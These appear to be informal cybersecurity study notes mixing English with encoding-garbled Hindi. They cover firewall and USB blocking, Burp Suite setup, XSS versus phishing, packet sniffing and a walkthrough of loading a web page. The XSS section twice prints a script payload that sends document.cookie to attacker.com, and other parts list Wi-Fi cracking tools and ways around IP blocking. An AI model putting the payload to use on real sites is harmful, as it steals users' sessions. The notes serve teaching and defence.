Encrypt data at rest and in transit using KMS/HSM services.
Schedule internal and third-party pentests.
Use Nessus, OpenVAS, Burp Suite, or Metasploit.
Maintain a structured vulnerability disclosure program (VDP) or bug bounty.
Use Threat Hunting Tools: Velociraptor, Osquery, Zeek
Monitor Dark Web Leaks of org data
Deploy Honeytokens and Honeypots to trap attackers
Implement Container & Kubernetes Security: Aqua, Sysdig, Falco
Review supply chain dependencies (e.g., via SCA tools like Snyk or WhiteSource)
Press Windows + R тЖТ Type wf.msc тЖТ Press Enter
(This opens Windows Defender Firewall with Advanced Security)
In the left panel, click on Outbound Rules
In the right panel, click on New Rule...
Select Program тЖТ Click Next
Select This program path:
Click Browse and select any .exe file (e.g., chrome.exe, notepad.exe)
Click Next
Select Block the connection тЖТ Click Next
Check all three:
Domain
Private
Public тЖТ Click Next
Enter a name like: Block Chrome Internet
Click Finish
тЬЕ Done! That app is now blocked from accessing the internet.
Open Command Prompt as Administrator
Press Windows + X тЖТ Select Command Prompt (Admin) or Windows Terminal (Admin)
Run this command to block an IP:
netsh advfirewall firewall add rule name="BlockBadIP" dir=in action=block remoteip=123.123.123.123
Replace 123.123.123.123 with the IP you want to block.
netsh advfirewall firewall delete rule name="BlockBadIP"
netsh advfirewall firewall show rule name="BlockBadIP"
We'll disable the USBSTOR (USB Storage) driver.
ЁЯФз Run this in Command Prompt as Administrator:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
This sets the USB Storage driver to "disabled" (value 4), so no USB devices will load.
To re-enable the USB ports:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 3 /f
This sets the driver back to "manual" start (value 3), allowing USB devices again.
Android devices donтАЩt natively support USB drives unless:
USB OTG (On-The-Go) is enabled.
A USB drive is connected via OTG cable.
To block or control USB access, you'd have to do one of these:
тЬЕ If Your Android is Rooted (More power!)
You can:
Modify system files to disable USB host mode.
Use iptables or SELinux policies to deny mount requests.
Example approach:
su
setprop persist.sys.usb.config none
This disables USB connection modes.
Or block mounting using:
chmod 000 /dev/block/sdX ┬а # Replace with actual block device for USB
ЁЯЪл If Your Android is Not Rooted
Options are limited, but you can:
Use apps (Device Policy Controllers) that restrict USB data transfer.
Disable OTG via developer options (not always available).
Use MDM (Mobile Device Management) policies in enterprise setups.
You can either block certain IPs or bypass IP blocking.
ЁЯФТ Block IPs:
If rooted:
su
iptables -A OUTPUT -d 192.168.1.100 -j DROP
To block a whole range:
iptables -A OUTPUT -d 192.168.0.0/24 -j DROP
If unrooted, install apps like:
NetGuard (open-source, no-root firewall)
NoRoot Firewall
These use VPN-based firewalls to block connections by app or IP.
ЁЯХ╡я╕ПтАНтЩАя╕П Bypass IP Blocking (If you want access to blocked sites)
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аUse VPNs like ProtonVPN or custom OpenVPN configs.
┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аUse Tor for Android (Orbot + Orfox).
Use ProxyDroid (requires root) to reroute traffic.
Burp Suite рдХреЛ Kali Linux рдореЗрдВ рдЪрд▓рд╛рдирд╛ рди рд╕рд┐рд░реНрдл possible рд╣реИ, рдмрд▓реНрдХрд┐ рдпреЗ ethical hacking рдФрд░ penetration testing рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд commonly рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдЯреВрд▓ рд╣реИред
рдпрд╣ рдПрдХ web vulnerability scanner рд╣реИ рдЬреЛ:
XSS, SQLi рдЬреИрд╕реА vulnerabilities рдЦреЛрдЬрддрд╛ рд╣реИ
Intercept рдХрд░рддрд╛ рд╣реИ browser рдФрд░ server рдХреЗ рдмреАрдЪ traffic
Requests рдХреЛ modify рдХрд░рдХреЗ response рдЪреЗрдХ рдХрд░рддрд╛ рд╣реИ
Kali Linux рдореЗрдВ Burp Suite рдкрд╣рд▓реЗ рд╕реЗ install рд╣реЛрддрд╛ рд╣реИ рдпрд╛ рдЖрдк manually рднреА рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:
рдЪреЗрдХ рдХрд░реЗрдВ рдХрд┐ рдкрд╣рд▓реЗ рд╕реЗ install рд╣реИ рдпрд╛ рдирд╣реАрдВ:
which burpsuite
Burp рдЪрд▓рд╛рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ (GUI):
burpsuite
рдпрд╛ рдлрд┐рд░ Kali рдХреЗ Application Menu рдореЗрдВ:
Applications тЖТ Web Application Analysis тЖТ burpsuite
Burp Suite рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП Java рдЪрд╛рд╣рд┐рдП рд╣реЛрддрд╛ рд╣реИред
рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:
sudo apt update
sudo apt install default-jre
Browser (рдЬреИрд╕реЗ Firefox) рдХреА proxy settings рдмрджрд▓реЛ:
HTTP Proxy: 127.0.0.1
Port: 8080
Burp рдореЗрдВ Intercept on рдХрд░реЛ рдФрд░ рджреЗрдЦреЛ requests рдХреИрд╕реЗ рдЖ рд░рд╣реА рд╣реИрдВред
LetтАЩs break it down in super simple terms, and also answer your question:
тАЬDoes traffic get captured by copying a site?тАЭ
XSS is a type of web-based hacking technique where an attacker injects malicious JavaScript code ЁЯжа into a website.
BUT тАФ this attack doesnтАЩt harm the website directly. It targets the user who opens the website ЁЯСд.
ЁЯОп The goal of the attacker is to steal the user's data тАФ like:
ЁЯНк Cookies
ЁЯФС Login credentials
тЖкя╕П Redirect the user to a fake or malicious site
Nope! тЭМ XSS and phishing are two different things.
LetтАЩs compare them using plain language and emojis:
ЁЯЫая╕П What gets created?
XSS: The real website is used, but the attacker has injected malicious JavaScript code into it ЁЯдЦ.
Phishing: The attacker creates a fake website that looks exactly like the real one ЁЯОн.
ЁЯОп Who is the target?
XSS: A real user visiting the real website ЁЯСд.
Phishing: A user who accidentally opens the fake site ЁЯЪи.
ЁЯУМ Example:
XSS: You click something, and your cookies get stolen and sent to the attacker ЁЯНкЁЯУд.
Phishing: You open amaz0n-login.com instead of amazon.com, and enter your password thinking itтАЩs the real site ЁЯзаЁЯФУ.
Imagine there's a site: example.com/comments ЁЯТм
It allows users to post comments. If the developer didn't properly validate input, an attacker can post this:
<script>
┬а┬аfetch("http://attacker.com/steal?cookie=" + document.cookie)
</script>
ЁЯУЙ Now, whenever any user opens that page, their browser will run the malicious script and send their cookies to the attacker. The attacker can then log into that userтАЩs account ЁЯШ▒.
тЬЕ XSS doesnтАЩt involve making a fake site or temporary copy.
ЁЯФБ The attack happens inside the real site, but through JavaScript injection that harms the user, not the site itself.
ThatтАЩs a different category of attacks that combines:
Creating a fake website that looks like a real one (e.g., amaz0n-login.com) to trick users into entering credentials ЁЯФУ.
The attacker sits between the user and the server, capturing all the traffic passing through ЁЯЫЬЁЯУеЁЯУд.
The attacker tricks your device into visiting the wrong server by faking DNS records, sending you to the fake site instead of the real one ЁЯУНтЮбя╕ПЁЯХ│я╕П.
ЁЯзк XSS = Real website + injected JavaScript = Stolen cookies/data
ЁЯОн Phishing = Fake website = Stolen passwords
ЁЯзСтАНЁЯТ╗ MITM = Intercepting data between user and server
ЁЯМР DNS Spoofing = Sending you to the wrong (fake) server
тЭМ XSS тЙа Copying a site
тЬЕ Phishing/MITM/DNS Spoofing = Techniques that copy or redirect
Cross-Site Scripting (XSS) рдХреЛ рднреА рдЖрд╕рд╛рди рд╣рд┐рдВрджреА рдореЗрдВ рд╕рдордЭрддреЗ рд╣реИрдВ тАФ рдПрдХрджрдо zero level рд╕реЗ, рдФрд░ рдЬреЛ рдЖрдк рдкреВрдЫ рд░рд╣реА рд╣реЛ "site copy рдХрд░рдХреЗ traffic capture рд╣реЛрддрд╛ рд╣реИ?" рдЙрд╕рдХрд╛ рднреА рдЬрд╡рд╛рдм рджреЗрддреЗ рд╣реИрдВред
XSS рдПрдХ web-based hacking technique рд╣реИ рдЬрд┐рд╕рдореЗрдВ attacker рд╡реЗрдмрд╕рд╛рдЗрдЯ рдореЗрдВ malicious (рдЦрддрд░рдирд╛рдХ) JavaScript code рдбрд╛рд▓ рджреЗрддрд╛ рд╣реИред
рдпрд╣ рд╣рдорд▓рд╛ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рдирд╣реАрдВ, рдЙрд╕реЗ рдЦреЛрд▓рдиреЗ рд╡рд╛рд▓реЗ рдпреВрдЬрд╝рд░ рдкрд░ рд╣реЛрддрд╛ рд╣реИред
рддреЛ attacker рдХрд╛ рдордХрд╕рдж рд╣реЛрддрд╛ рд╣реИ рдХрд┐ user рдХрд╛ data рдЪреБрд░рд╛ рд╕рдХреЗ тАФ рдЬреИрд╕реЗ cookies, login info, рдпрд╛ redirect рдХрд░рдХреЗ fake site рдкрд░ рднреЗрдЬ рджреЗред
рдирд╣реАрдВ, XSS рдФрд░ Phishing рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╣реЛрддреЗ рд╣реИрдВред
Feature
XSS (Cross-Site Scripting)
Phishing / Fake site
рдХреНрдпрд╛ рдмрдирддрд╛ рд╣реИ?
рдЕрд╕рд▓реА рд╡реЗрдмрд╕рд╛рдЗрдЯ рд╣реА рд╣реЛрддреА рд╣реИ, рдмрд╕ рдЙрд╕рдореЗрдВ attacker рдиреЗ JS рдбрд╛рд▓рд╛ рд╣реЛрддрд╛ рд╣реИ
attacker рдПрдХ рдирдХрд▓реА рд╡реЗрдмрд╕рд╛рдЗрдЯ рдмрдирд╛рддрд╛ рд╣реИ рдЬреЛ рджрд┐рдЦрддреА рдЕрд╕рд▓реА рдЬреИрд╕реА рд╣реИ
Target рдХреМрди?
рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХрд╛ рд╡рд┐рдЬрд╝рд┐рдЯрд░ (user)
user рдЬреЛ рдЧрд▓рддреА рд╕реЗ fake site рдЦреЛрд▓ рд▓реЗрддрд╛ рд╣реИ
Example рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИ?
рдпреВрдЬрд╝рд░ рдХреЛ рдХреБрдЫ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░ рдЙрд╕рдХрд╛ cookie рдЪреБрд░рд╛ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ
user amazon.com рдХреА рдЬрдЧрд╣ amaz0n-login.com рдЦреЛрд▓ рд▓реЗ
рд╕реЛрдЪреЛ рдПрдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ рд╣реИ: example.com/comments
рдЖрдк рд╡рд╣рд╛рдБ comment рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реЛред
рдЕрдЧрд░ site developer рдиреЗ proper validation рдирд╣реАрдВ рдХрд┐рдпрд╛,
рддреЛ attacker рд╡рд╣рд╛рдБ рдРрд╕рд╛ JS code рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ:
<script>
┬а┬аfetch("http://attacker.com/steal?cookie=" + document.cookie)
</script>
рдЕрдм рдЬреЛ рднреА user рдЙрд╕ page рдХреЛ рдЦреЛрд▓реЗрдЧрд╛ тАФ рдЙрд╕рдХрд╛ browser attacker рдХреЛ рдЙрд╕рдХреА cookie рднреЗрдЬ рджреЗрдЧрд╛, рдЬрд┐рд╕рд╕реЗ attacker рдЙрд╕рдХреЗ account рдореЗрдВ login рдХрд░ рд╕рдХрддрд╛ рд╣реИред
XSS рдореЗрдВ рдХреЛрдИ temporary site рдпрд╛ full copy рдирд╣реАрдВ рдмрдирддреА,
рдмрд▓реНрдХрд┐ attacker рдЕрд╕рд▓реА рд╕рд╛рдЗрдЯ рдореЗрдВ рд╣реА JavaScript injection рдХрд░рддрд╛ рд╣реИ,
рдЬрд┐рд╕рд╕реЗ рдпреВрдЬрд╝рд░ рдХреЗ data рдкрд░ рд╣рдорд▓рд╛ рд╣реЛрддрд╛ рд╣реИред
рд╡реЛ рд╣реЛрддреА рд╣реИ: Phishing + DNS Spoofing + MITM (Man-in-the-middle)
Phishing: рдирдХрд▓реА рд╡реЗрдмрд╕рд╛рдЗрдЯ рдЬреЛ рджрд┐рдЦрддреА рд╣реИ рдЕрд╕рд▓реА рдЬреИрд╕реА (рдЬреИрд╕реЗ amaz0n-login.com)
MITM: рдмреАрдЪ рдореЗрдВ рдмреИрдардХрд░ data capture рдХрд░рдирд╛
DNS Spoofing: user рдХреЛ рдЧрд▓рдд server рдХреА рддрд░рдл рднреЗрдЬрдирд╛
Sniffing is the process of intercepting and capturing data packets ЁЯУж as they travel across a network ЁЯМР.
ЁЯСВ ItтАЩs like eavesdropping on a conversation, but instead of voices, itтАЩs data тАФ usernames, passwords, messages, credit card info ЁЯТ│ тАФ flying through the air or cables.
ЁЯЫЬ Normally, your network card (NIC) only receives data meant for your device.
ЁЯС┐ A hacker switches the NIC into promiscuous mode, which captures all traffic on the network тАФ not just their own.
ЁЯФУ Now the hacker sees:
ЁЯСд WhoтАЩs online
ЁЯУ╢ Which devices are talking
ЁЯТм What theyтАЩre sending
NIC means Network Interface Card. Sometimes we call it network adaptor. Through this we connect to WiFi & Ethernet. When promiscuous mode is on then sniffing can be. There are two modes of Network Interface Card: -┬а
a. Normal Mode - NIC receives only those packets which are meant for that device
b. Promiscuous Mode - NIC receives all packets even those which are not related to it.┬а
ЁЯХ╡я╕ПтАНтЩВя╕П Why do hackers use Promiscuous Mode?
Using sniffing tools (like Wireshark), hackers can:
ЁЯУб Monitor network traffic тАУ They can see all the data flowing through the network.
ЁЯУи Capture sensitive data тАУ Such as usernames, passwords, etc. (if the data is not encrypted)
ЁЯзСтАНЁЯТ╗ Identify network topology and active devices тАУ They can map out who is connected and how devices are communicating.
Pro hackers use tools like:
ЁЯЫая╕П Wireshark тАУ open-source packet analyzer (great for deep inspection ЁЯФм)
ЁЯРН Scapy тАУ Python-based packet manipulator (used in custom attacks)
ЁЯжК Ettercap тАУ MITM + sniffing combo
ЁЯХ╡я╕ПтАНтЩАя╕П Tcpdump тАУ terminal-based packet capture tool
ЁЯза These tools let you filter, analyze, and reconstruct data packets.
Example:
ЁЯУе Capture login credentials sent over HTTP
ЁЯФУ See username: admin, password: 123456
Hackers often combine sniffing with attacks like:
ЁЯОп ARP Spoofing тАУ Trick devices into sending data to you instead of the router
ЁЯФА MITM (Man-in-the-Middle) тАУ Sit between two devices, controlling and sniffing traffic
ЁЯУб DNS Spoofing тАУ Redirect victims to fake websites to steal logins
ЁЯЪи Sniffing + Spoofing = Full control over someoneтАЩs online activity if unencrypted
ЁЯЯв Unencrypted traffic (HTTP, FTP, Telnet):
ЁЯУз Emails
ЁЯФС Passwords
ЁЯТ│ Card details
ЁЯЯб Weakly encrypted traffic (WEP WiFi, SSL-stripped HTTPS)
ЁЯФ┤ Encrypted traffic (HTTPS, VPN) is hard to sniff directly, but attackers try to downgrade or trick users
тЭМ NO тАФ unauthorized sniffing is illegal in almost every country ЁЯМН.
ItтАЩs considered a form of cyber espionage or wiretapping.
тЬЕ Legal only if:
You own the network ЁЯзСтАНЁЯТ╝
You're authorized for penetration testing ЁЯХ╡я╕ПтАНтЩВя╕П
You're doing research in a lab setup ЁЯзк
Imagine this:
You're on public WiFi тШХ at a caf├й. A hacker with a laptop nearby is sniffing the traffic.
You check your email on an HTTP site ЁЯУз
They see your login info in plain text ЁЯШ▒
They log in as you and change your password ЁЯЫС
тЬЕ Use HTTPS (always look for ЁЯФТ in the URL)
тЬЕ Avoid public WiFi or use a VPN ЁЯЫбя╕П
тЬЕ Enable 2FA ЁЯФР
тЬЕ DonтАЩt log in to sensitive accounts on unknown networks
тЬЕ Keep your OS and apps updated ЁЯФД
ЁЯза Sniffing = Listening to data packets
ЁЯзСтАНЁЯТ╗ Hackers use tools like Wireshark & Scapy
ЁЯОп Target: passwords, cards, messages
ЁЯУ╢ Needs promiscuous mode & often MITM attacks
тЪая╕П Legal? тЭМ Unless authorized
ЁЯЫбя╕П Protection: HTTPS + VPN + Smart habits
ЁЯФН Network Scanning & Discovery Tools
These tools actively scan networks to find connected devices, open ports, and running services.
ЁЯЫ░я╕П Nmap тАУ The most powerful network scanner. Detects live hosts, open ports, running services, OS versions, and more.
ЁЯзн NetDiscover тАУ Lightweight ARP-based tool to quickly find live hosts on local LAN networks.
ЁЯЦея╕П Advanced IP Scanner тАУ Easy-to-use Windows GUI tool for discovering devices on your local network.
тЪб Angry IP Scanner тАУ Fast and cross-platform IP and port scanner with a simple interface.
ЁЯУ▒ Fing тАУ Mobile and desktop app to detect devices, scan networks, and get alerts for new connections.
ЁЯХ╡я╕П Packet Sniffing & Traffic Analysis Tools
These tools capture, inspect, and analyze data packets traveling through the network.
ЁЯзк Wireshark тАУ The industry-standard packet sniffer with deep protocol inspection and filtering.
ЁЯЦея╕П tcpdump тАУ Command-line packet sniffer for Linux/Unix. Lightweight but powerful.
ЁЯЦ▒я╕П Tshark тАУ Terminal-based version of Wireshark for CLI-based packet analysis.
ЁЯУК EtherApe тАУ Visual network monitor that shows real-time traffic flow between network nodes.
ЁЯз▒ Netmon (Windows) тАУ Native Windows Network Monitor (older, but still useful for testing and labs).
ЁЯза Network Monitoring & Intrusion Detection Tools
These tools watch your network, log activities, and alert you to suspicious behavior or intrusions.
ЁЯФО Wireshark тАУ Can also be used for passive real-time network monitoring.
ЁЯЪи Snort тАУ Powerful open-source IDS/IPS to detect and prevent suspicious or malicious traffic.
ЁЯТи Suricata тАУ High-speed IDS/IPS system and alternative to Snort, supports multi-threading.
ЁЯУИ Nagios тАУ Monitors network health, server status, service uptime, and bandwidth usage.
ЁЯУб Zabbix тАУ Enterprise-grade monitoring for servers, applications, and entire networks.
ЁЯУб Wireless Network Tools
These tools are used for Wi-Fi scanning, cracking, rogue AP attacks, and wireless auditing.
ЁЯТе Aircrack-ng тАУ Powerful toolkit for Wi-Fi cracking (WEP/WPA), packet injection, and handshake capturing.
ЁЯУ╢ Kismet тАУ Wireless network detector, sniffer, and intrusion detection system (works with monitor mode).
ЁЯФУ Reaver тАУ Tool to brute-force WPS PINs on routers with WPS enabled.
ЁЯОн WiFi-Pumpkin тАУ Framework for creating rogue access points to test Man-in-the-Middle (MITM) attacks.
рджрд┐рд▓реНрд▓реА рдореЗрдВ рдмреИрдард╛ рдПрдХ рд▓рдбрд╝рдХрд╛ рдЕрдкрдиреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ (Chrome) рдореЗрдВ amazon.com рдЯрд╛рдЗрдк рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЙрд╕рдХреА рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рд╡реЗрдмрд╕рд╛рдЗрдЯ рддрдХ рдХреНрдпрд╛-рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИ, рдПрдХрджрдо step-by-step рдФрд░ рдЖрд╕рд╛рди рд╣рд┐рдВрджреА (рджреЗрд╡рдирд╛рдЧрд░реА) рдореЗрдВред
Step 1: рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЦреЛрд▓рдирд╛ рдФрд░ URL рдЯрд╛рдЗрдк рдХрд░рдирд╛
рд░реЛрд╣рди рдиреЗ рдЕрдкрдиреЗ рд▓реИрдкрдЯреЙрдк рдкрд░ Chrome рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЦреЛрд▓рд╛ рдФрд░ рдКрдкрд░ address bar рдореЗрдВ рдЯрд╛рдЗрдк рдХрд┐рдпрд╛: amazon.com
рдЕрдм рдкреАрдЫреЗ рдХреНрдпрд╛ рд╣реБрдЖ?
DNS Lookup (рдбреЛрдореЗрди рдиреЗрдо рд╕рд┐рд╕реНрдЯрдо):
"amazon.com" рдПрдХ human-friendly рдирд╛рдо рд╣реИ, рд▓реЗрдХрд┐рди рдЗрдВрдЯрд░рдиреЗрдЯ рдХреЛ рдирдВрдмрд░ (IP addresses) рд╕рдордЭ рдореЗрдВ рдЖрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ 142.250.182.206
Chrome рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ OS рд╕реЗ рдкреВрдЫрддрд╛ рд╣реИ: "рднрд╛рдИ, amazon.com рдХрд╛ IP рдкрддрд╛ рд╣реИ?"
рдЕрдЧрд░ cache рдореЗрдВ рдирд╣реАрдВ рдорд┐рд▓рд╛, рддреЛ рдпрд╣ DNS рд╕рд░реНрд╡рд░ (Google DNS рдЬреИрд╕реЗ 8.8.8.8) рд╕реЗ рдкреВрдЫрддрд╛ рд╣реИред
DNS system рдзреАрд░реЗ-рдзреАрд░реЗ рдКрдкрд░ рдЬрд╛рддрд╛ рд╣реИ:
.com тЖТ TLD (Top Level Domain) server рд╕реЗ рдмрд╛рдд рд╣реЛрддреА рд╣реИ
рдлрд┐рд░ amazon рдХреЗ Authoritative DNS Server рд╕реЗ
рдФрд░ рдЬрд╡рд╛рдм рдорд┐рд▓рддрд╛ рд╣реИ: "amazon.com рдХрд╛ IP рд╣реИ: 205.251.242.103"
Step 2: TCP Connection рдмрдирд╛рдирд╛
рдЕрдм рд░реЛрд╣рди рдХрд╛ рд▓реИрдкрдЯреЙрдк рдЙрд╕ IP (205.251.242.103) рд╕реЗ рдмрд╛рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП TCP connection рдмрдирд╛рддрд╛ рд╣реИред
TCP рддреАрди рдХрджрдо рдореЗрдВ connection рдмрдирд╛рддрд╛ рд╣реИ (3-Way Handshake):
SYN: рд░реЛрд╣рди рдХрд╛ рд╕рд┐рд╕реНрдЯрдо рдмреЛрд▓рддрд╛ рд╣реИ: тАЬрдореИрдВ рдХрдиреЗрдХреНрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдБтАЭ (SYN)
SYN-ACK: Server рдмреЛрд▓рддрд╛ рд╣реИ: тАЬрдареАрдХ рд╣реИ, рдореИрдВ рддреИрдпрд╛рд░ рд╣реВрдБтАЭ (SYN-ACK)
ACK: рд░реЛрд╣рди рдХрд╛ рд╕рд┐рд╕реНрдЯрдо рдЬрд╡рд╛рдм рджреЗрддрд╛ рд╣реИ: тАЬрдареАрдХ рд╣реИ, connection рд╢реБрд░реВтАЭ (ACK)
рдЕрдм рджреЛрдиреЛрдВ рдореЗрдВ connection рдмрди рдЧрдпрд╛ тАФ рдпреЗ рд╣реЛрддреА рд╣реИ TCP 3-Way Handshake
(рдпрд╣ connection port 443 рдкрд░ рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ amazon.com HTTPS рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рддрд╛ рд╣реИ)
Step 3: TLS/SSL Handshake (Secure рдХрдиреЗрдХреНрд╢рди)
рдЕрдм рдмрд╛рд░реА рд╣реИ TLS handshake рдХреА (рдкрд╣рд▓реЗ рдЗрд╕реЗ SSL рдХрд╣рддреЗ рдереЗ)ред
рдпрд╣ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреЛ secure рдмрдирд╛рддрд╛ рд╣реИ (data encrypt рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХреЛрдИ рдмреАрдЪ рдореЗрдВ рдЪреЛрд░реА рди рдХрд░реЗ)
TLS handshake рдореЗрдВ рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИ:
Client (рд░реЛрд╣рди рдХрд╛ рд▓реИрдкрдЯреЙрдк) Server рд╕реЗ рдмреЛрд▓рддрд╛ рд╣реИ: тАЬрдореБрдЭреЗ secure connection рдЪрд╛рд╣рд┐рдПтАЭ
Server рдЕрдкрдирд╛ Digital Certificate рднреЗрдЬрддрд╛ рд╣реИ (рдЬрд┐рд╕реЗ browser verify рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпреЗ рдЕрд╕рд▓реА amazon рд╣реИ)
рдПрдХ Session Key рдмрдирддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ encryption рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ
рдЕрдм рд╕рд╛рд░рд╛ data encrypted рд╣реИ тАФ рдХреЛрдИ рдмреАрдЪ рдореЗрдВ snoop рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛!
Step 4: HTTP Request рднреЗрдЬрдирд╛
рдЕрдм Chrome рдПрдХ HTTP request рднреЗрдЬрддрд╛ рд╣реИ:
"Hey amazon.com, рдореБрдЭреЗ рддреБрдореНрд╣рд╛рд░рд╛ homepage рджреЛ"
Step 5: Server рд╕реЗ Response рдФрд░ Content
Server рдЬрд╡рд╛рдм рджреЗрддрд╛ рд╣реИ:
HTML рдлрд╝рд╛рдЗрд▓ (Page рдХрд╛ structure)
CSS рдлрд╝рд╛рдЗрд▓ (design рдФрд░ layout рдЬреИрд╕реЗ рд░рдВрдЧ, рдЖрдХрд╛рд░)
JavaScript (JS) рдлрд╝рд╛рдЗрд▓ (interactivity, рдЬреИрд╕реЗ slideshow, cart рдЗрддреНрдпрд╛рджрд┐)
Images
Step 6: CDNs (Content Delivery Networks)
Amazon рдЬреИрд╕реА рд╕рд╛рдЗрдЯ рдЕрдкрдиреЗ images, CSS, JS рдЬреИрд╕реА static files рдХреЛ CDN рдкрд░ рдбрд╛рд▓рддреА рд╣реИрдВ (Cloudflare, Akamai etc.)
CDN servers рджреБрдирд┐рдпрд╛ рднрд░ рдореЗрдВ рдлреИрд▓реЗ рд╣реЛрддреЗ рд╣реИрдВред
рджрд┐рд▓реНрд▓реА рдХреЗ рд░реЛрд╣рди рдХреЛ рджрд┐рд▓реНрд▓реА рдпрд╛ рдЖрд╕рдкрд╛рд╕ рдХреЗ server рд╕реЗ CSS/JS/images рдорд┐рд▓рддреЗ рд╣реИрдВ тАФ рдЗрд╕рд╕реЗ website рддреЗрдЬрд╝ рдЦреБрд▓рддреА рд╣реИред
Step 7: Page Render рд╣реЛрдирд╛
Chrome рд╕рдм рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рд╛рдХрд░:
HTML рдкрдврд╝рддрд╛ рд╣реИ
CSS рд▓рдЧрд╛рддрд╛ рд╣реИ (colors, layout рдмрдирд╛рддрд╛ рд╣реИ)
JS рдЪрд▓рд╛рддрд╛ рд╣реИ (functions, animation, click рд╡рд╛рд▓реЗ рдХрд╛рдо)
рдФрд░ рд░реЛрд╣рди рдХреЛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ Amazon рдХрд╛ Homepage
User тЖТ DNS тЖТ IP тЖТ TCP 3-Way Handshake (SYN, SYN-ACK, ACK) @ Port 443 тЖТ TLS Handshake тЖТ HTTPS Request тЖТ Server Response (HTML + CSS + JS via CDN) тЖТ Browser Render